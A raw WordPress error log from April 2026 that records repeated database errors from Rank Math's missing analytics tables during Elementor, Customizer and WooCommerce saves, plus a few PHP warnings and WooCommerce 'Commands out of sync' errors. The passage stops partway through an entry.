do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 21:47:37 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [08-Apr-2026 21:47:37 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1263 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 21:47:38 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [08-Apr-2026 21:47:38 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1264 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 21:47:40 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [08-Apr-2026 21:47:40 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1265 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 21:49:32 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1266 made by do_action('wp_ajax_customize_save'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Customize_Manager->save, WP_Customize_Manager->save_changeset_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 21:50:32 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1266 made by do_action('wp_ajax_customize_save'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Customize_Manager->save, WP_Customize_Manager->save_changeset_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 21:52:32 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1266 made by do_action('wp_ajax_customize_save'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Customize_Manager->save, WP_Customize_Manager->save_changeset_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 21:52:58 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1266 made by do_action('wp_ajax_customize_save'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Customize_Manager->save, WP_Customize_Manager->save_changeset_post, wp_update_post, wp_insert_post, wp_transition_post_status, do_action('transition_post_status'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_customize_publish_changeset, WP_Customize_Manager->trash_changeset_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 21:52:58 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1266 made by do_action('wp_ajax_customize_save'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Customize_Manager->save, WP_Customize_Manager->save_changeset_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 21:54:32 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1267 made by do_action('wp_ajax_customize_save'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Customize_Manager->save, WP_Customize_Manager->save_changeset_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 21:55:31 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1267 made by do_action('wp_ajax_customize_save'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Customize_Manager->save, WP_Customize_Manager->save_changeset_post, wp_update_post, wp_insert_post, wp_transition_post_status, do_action('transition_post_status'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_customize_publish_changeset, WP_Customize_Manager->trash_changeset_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 21:55:31 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1267 made by do_action('wp_ajax_customize_save'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Customize_Manager->save, WP_Customize_Manager->save_changeset_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 22:08:14 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1269 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->get_autosave, wp_create_post_autosave, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 22:08:14 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1269 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 22:08:15 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1269 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 22:12:09 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1269 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 22:12:10 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1269 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 22:13:07 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [08-Apr-2026 22:13:07 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1271 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, Elementor\Core\Settings\Page\Manager->save_post_status, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 22:13:07 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [08-Apr-2026 22:13:07 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1272 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_settings, Elementor\Core\Settings\Page\Manager->ajax_before_save_settings, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 22:13:08 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [08-Apr-2026 22:13:08 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1273 made by do_action('wp_ajax_elementor_ajax'), WP_Hook->do_action, WP_Hook->apply_filters, Elementor\Core\Common\Modules\Ajax\Module->handle_ajax_request, call_user_func, Elementor\Core\Documents_Manager->ajax_save, Elementor\Core\Base\Document->save, Elementor\Core\Base\Document->save_elements, Elementor\DB->save_plain_text, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [08-Apr-2026 22:15:13 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by require_once('wp-load.php'), require_once('wp-config.php'), require_once('wp-settings.php'), do_action('wp_loaded'), WP_Hook->do_action, WP_Hook->apply_filters, WC_Admin_Menus->save_settings, WC_Admin_Settings::save, do_action('woocommerce_update_options_site-visibility'), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\WooCommerce\Admin\Features\LaunchYourStore->save_site_visibility_options, update_option, do_action('update_option_woocommerce_coming_soon'), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\WooCommerce\Internal\ComingSoon\ComingSoonCacheInvalidator->invalidate_caches, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [14-Apr-2026 20:07:06 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query SHOW FULL COLUMNS FROM `wpuz_rank_math_analytics_objects` made by edit_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Analytics\DB::update_object, RankMath\Analytics\DB::add_object, RankMath\Admin\Database\Query_Builder->insert [17-Apr-2026 14:26:25 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_gsc' doesn't exist for query SELECT COUNT(DISTINCT(page)) AS posts, SUM(impressions) AS impressions, SUM(clicks) AS clicks, AVG(position) AS position FROM wpuz_rank_math_analytics_gsc WHERE created BETWEEN '2026-03-12 00:00:00' AND '2026-04-14 23:59:59' made by do_action('wp_ajax_nopriv_as_async_request_queue_runner'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Async_Request->maybe_handle, ActionScheduler_AsyncRequest_QueueRunner->handle, do_action('action_scheduler_run_queue'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_QueueRunner->run, ActionScheduler_QueueRunner->do_batch, ActionScheduler_Abstract_QueueRunner->process_action, ActionScheduler_Action->execute, do_action_ref_array('rank_math/analytics/email_report_event'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Email_Reports->email_report, RankMath\Analytics\Email_Reports->setup_variables, RankMath\Analytics\Email_Reports->get_stats, RankMath\Analytics\Summary->get_analytics_summary, RankMath\Admin\Database\Query_Builder->one, RankMath\Admin\Database\Query_Builder->get_row, RankMath\Admin\Database\Query_Builder->run [17-Apr-2026 14:26:25 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_gsc' doesn't exist for query SELECT COUNT(DISTINCT(page)) AS posts, SUM(impressions) AS impressions, SUM(clicks) AS clicks, AVG(position) AS position FROM wpuz_rank_math_analytics_gsc WHERE created BETWEEN '2026-02-06 00:00:00' AND '2026-03-11 23:59:59' made by do_action('wp_ajax_nopriv_as_async_request_queue_runner'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Async_Request->maybe_handle, ActionScheduler_AsyncRequest_QueueRunner->handle, do_action('action_scheduler_run_queue'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_QueueRunner->run, ActionScheduler_QueueRunner->do_batch, ActionScheduler_Abstract_QueueRunner->process_action, ActionScheduler_Action->execute, do_action_ref_array('rank_math/analytics/email_report_event'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Email_Reports->email_report, RankMath\Analytics\Email_Reports->setup_variables, RankMath\Analytics\Email_Reports->get_stats, RankMath\Analytics\Summary->get_analytics_summary, RankMath\Admin\Database\Query_Builder->one, RankMath\Admin\Database\Query_Builder->get_row, RankMath\Admin\Database\Query_Builder->run [17-Apr-2026 14:26:25 UTC] PHP Warning: Attempt to read property "impressions" on null in /home/dxgrqzvp/public_html/wp-content/plugins/seo-by-rank-math/includes/modules/analytics/class-summary.php on line 288 [17-Apr-2026 14:26:25 UTC] PHP Warning: Attempt to read property "impressions" on null in /home/dxgrqzvp/public_html/wp-content/plugins/seo-by-rank-math/includes/modules/analytics/class-summary.php on line 289 [24-Apr-2026 20:08:54 UTC] WordPress database error Commands out of sync; you can't run this command now for query SELECT a.action_id FROM wpuz_actionscheduler_actions a WHERE 1=1 AND a.hook='wc_schedule_pending_batch_processes' AND a.status IN ('in-progress', 'pending') LIMIT 0, 1 made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\WooCommerce\Internal\BatchProcessing\BatchProcessingController->Automattic\WooCommerce\Internal\BatchProcessing\{closure}, Automattic\WooCommerce\Internal\BatchProcessing\BatchProcessingController->remove_or_retry_failed_processors, call_user_func, as_has_scheduled_action, ActionScheduler_Store->query_action, ActionScheduler_DBStore->query_actions [24-Apr-2026 20:08:54 UTC] WordPress database error Commands out of sync; you can't run this command now for query SELECT option_value FROM wpuz_options WHERE option_name = 'wc_pending_batch_processes' LIMIT 1 made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\WooCommerce\Internal\BatchProcessing\BatchProcessingController->Automattic\WooCommerce\Internal\BatchProcessing\{closure}, Automattic\WooCommerce\Internal\BatchProcessing\BatchProcessingController->remove_or_retry_failed_processors, Automattic\WooCommerce\Internal\BatchProcessing\BatchProcessingController->get_enqueued_processors, get_option [24-Apr-2026 20:08:54 UTC] WordPress database error Commands out of sync; you can't run this command now for query SELECT option_value FROM wpuz_options WHERE option_name = 'action_scheduler_lock_async-request-runner' made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_QueueRunner->maybe_dispatch_async_request, ActionScheduler_Lock->is_locked, ActionScheduler_OptionLock->get_expiration, ActionScheduler_OptionLock->get_existing_lock [24-Apr-2026 20:08:54 UTC] WordPress database error Commands out of sync; you can't run this command now for query SELECT option_value FROM wpuz_options WHERE option_name = 'action_scheduler_lock_async-request-runner' made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_QueueRunner->maybe_dispatch_async_request, ActionScheduler_OptionLock->set, ActionScheduler_OptionLock->get_existing_lock [24-Apr-2026 20:08:54 UTC] WordPress database error Commands out of sync; you can't run this command now for query INSERT INTO `wpuz_options` (`option_name`, `option_value`, `autoload`) VALUES ('action_scheduler_lock_async-request-runner', '69ebcdd67f2bf7.08541496|1777061394', 'no') made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_QueueRunner->maybe_dispatch_async_request, ActionScheduler_OptionLock->set [24-Apr-2026 20:20:30 UTC] WordPress database error Commands out of sync; you can't run this command now for query SELECT a.action_id FROM wpuz_actionscheduler_actions a WHERE 1=1 AND a.hook='wc_schedule_pending_batch_processes' AND a.status IN ('in-progress', 'pending') LIMIT 0, 1 made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\WooCommerce\Internal\BatchProcessing\BatchProcessingController->Automattic\WooCommerce\Internal\BatchProcessing\{closure}, Automattic\WooCommerce\Internal\BatchProcessing\BatchProcessingController->remove_or_retry_failed_processors, call_user_func, as_has_scheduled_action, ActionScheduler_Store->query_action, ActionScheduler_DBStore->query_actions [24-Apr-2026 20:20:30 UTC] WordPress database error Commands out of sync; you can't run this command now for query SELECT option_value FROM wpuz_options WHERE option_name = 'wc_pending_batch_processes' LIMIT 1 made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\WooCommerce\Internal\BatchProcessing\BatchProcessingController->Automattic\WooCommerce\Internal\BatchProcessing\{closure}, Automattic\WooCommerce\Internal\BatchProcessing\BatchProcessingController->remove_or_retry_failed_processors, Automattic\WooCommerce\Internal\BatchProcessing\BatchProcessingController->get_enqueued_processors, get_option [24-Apr-2026 20:20:30 UTC] WordPress database error Commands out of sync; you can't run this command now for query SELECT option_value FROM wpuz_options WHERE option_name = 'action_scheduler_lock_async-request-runner' made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_QueueRunner->maybe_dispatch_async_request, ActionScheduler_Lock->is_locked, ActionScheduler_OptionLock->get_expiration, ActionScheduler_OptionLock->get_existing_lock [24-Apr-2026 20:20:30 UTC] WordPress database error Commands out of sync; you can't run this command now for query SELECT option_value FROM wpuz_options WHERE option_name = 'action_scheduler_lock_async-request-runner' made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_QueueRunner->maybe_dispatch_async_request, 